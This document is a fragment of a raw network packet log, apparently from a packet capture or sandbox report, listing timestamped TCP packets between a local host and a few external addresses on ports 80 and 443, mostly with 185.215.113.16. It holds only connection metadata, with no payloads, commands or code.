Dec 16, 2024 15:02:28.431302071 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.431302071 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.434535980 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.434588909 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.434593916 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.434629917 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.437958956 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.438082933 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.438107014 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.438132048 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.441375017 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.441390038 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.441425085 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.441473961 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.444359064 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.444406033 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.444473028 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.444513083 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.448267937 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.448282957 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.448319912 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.450979948 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.451086044 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.451097012 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.451133013 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.454296112 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.454349995 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.454372883 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.454386950 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.457624912 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.457683086 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.457725048 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.460903883 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.460957050 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.461052895 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.461122036 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.464437008 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.464514017 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.464554071 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.464696884 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.467360020 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.467485905 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.467914104 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.470690966 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.470762968 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.557980061 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.557996988 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.558087111 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.559199095 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.559211969 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.559278965 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.561255932 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.561322927 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.561350107 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.561372995 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.564338923 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.564426899 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.564620972 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.564706087 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.566826105 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.566838980 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.566881895 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.566906929 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.569516897 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.569530010 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.569586039 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.572046995 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.572060108 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.572124004 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.574665070 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.574733019 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.574753046 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.574774981 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.577222109 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.577276945 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.577286959 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.577331066 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.579751015 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.579818964 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.579855919 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.579900026 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.582037926 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.582097054 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.582237959 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.582478046 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.584856987 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.584867954 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.584918976 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.584934950 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.586841106 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.586885929 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.586915970 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.587019920 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.589272022 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.589328051 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.589463949 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.589504957 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.591599941 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.591702938 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.591748953 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.593890905 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.593935966 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.593956947 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.593995094 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.596107960 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.596163034 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.596225977 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.596343040 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.598437071 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.598593950 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.598618984 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.598639011 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.600712061 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.600775003 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.600775957 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.600816965 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.602926970 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.602969885 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.603035927 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.603230953 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.605236053 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.605328083 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.605331898 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.605372906 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.607547998 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.607619047 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.607635021 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.607675076 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.609782934 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.609833956 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.609868050 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.609908104 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.612219095 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.612237930 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.612281084 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.614402056 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.614448071 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.614578009 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.614727974 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.616794109 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.616847038 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.616852045 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.616895914 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.618900061 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.618921995 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.618968964 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.618982077 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.621153116 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.621205091 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.621218920 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.621239901 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.623428106 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.623496056 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.623503923 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.623534918 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.625715017 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.625756979 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.625894070 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.626020908 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.627844095 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.627893925 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.627947092 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.627994061 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.630206108 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.630220890 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.630249977 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.630264997 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.632494926 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.632554054 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.632582903 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.632793903 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.634833097 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.634845018 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.634884119 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.636985064 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.637029886 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.637042999 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.637065887 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.639301062 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.639319897 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.639368057 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.639368057 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.641601086 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.641657114 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.641696930 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.641751051 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.643835068 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.643893003 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.643971920 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.644052029 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.646028996 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.646070004 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.646106005 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.646166086 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.648293018 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.648361921 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.649250984 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.649333954 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.650537014 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.650594950 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.650655031 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.650813103 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.653243065 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.653254986 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.653287888 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.653434038 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.655101061 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.655148983 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.655172110 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.655205011 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.657403946 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.657471895 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.657494068 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.657551050 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.659657955 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.659697056 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.659812927 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.659971952 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.661946058 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.661993980 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.662523031 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.662565947 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.664144993 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.664181948 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.664599895 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.664643049 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.666804075 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.666816950 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.666899920 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.668859959 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.668872118 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.668936968 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.671057940 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.671118975 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.671159029 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.671262026 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.673222065 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.673290014 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.673324108 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.673367977 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.675519943 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.675575018 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.675637007 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.675681114 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.677748919 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.677934885 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.677994967 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.680572987 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.680632114 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.680668116 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.680897951 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.682724953 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.682806969 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.682826996 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.682846069 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.705602884 CET	443	49919	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:28.705698967 CET	443	49919	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:28.705765009 CET	49919	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:28.705902100 CET	49919	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:28.705919027 CET	443	49919	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:28.708858013 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:28.709183931 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:28.749977112 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.750078917 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.750119925 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.750145912 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.750840902 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.750854015 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.750899076 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.752774000 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.752785921 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.752811909 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.752832890 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.755291939 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.755305052 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.755335093 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.755482912 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.756119967 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.756160975 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.756248951 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.756335020 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.757967949 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.758045912 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.758366108 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.758404970 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.759627104 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.759705067 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.759962082 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.760010004 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.762156010 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.762168884 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.762208939 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.762990952 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.763025999 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.763326883 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.763453007 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.764647961 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.764702082 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.764820099 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.764858007 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.767283916 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.767297029 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.767335892 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.768647909 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.768659115 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.768722057 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.769488096 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.769539118 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.770577908 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.770739079 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.771339893 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.771353006 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.771372080 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.771394014 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.772866964 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.772996902 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.773020029 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.773040056 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.774434090 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.774446011 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.774492025 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.775875092 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.775887966 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.775916100 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.775933981 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.777304888 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.777349949 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.778817892 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.778831005 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.778873920 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.778950930 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.778990030 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.780585051 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.780596972 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.780632973 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.780651093 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.781793118 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.781832933 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:28.782041073 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:28.782075882 CET	49918	80	192.168.2.6	185.215.113.16
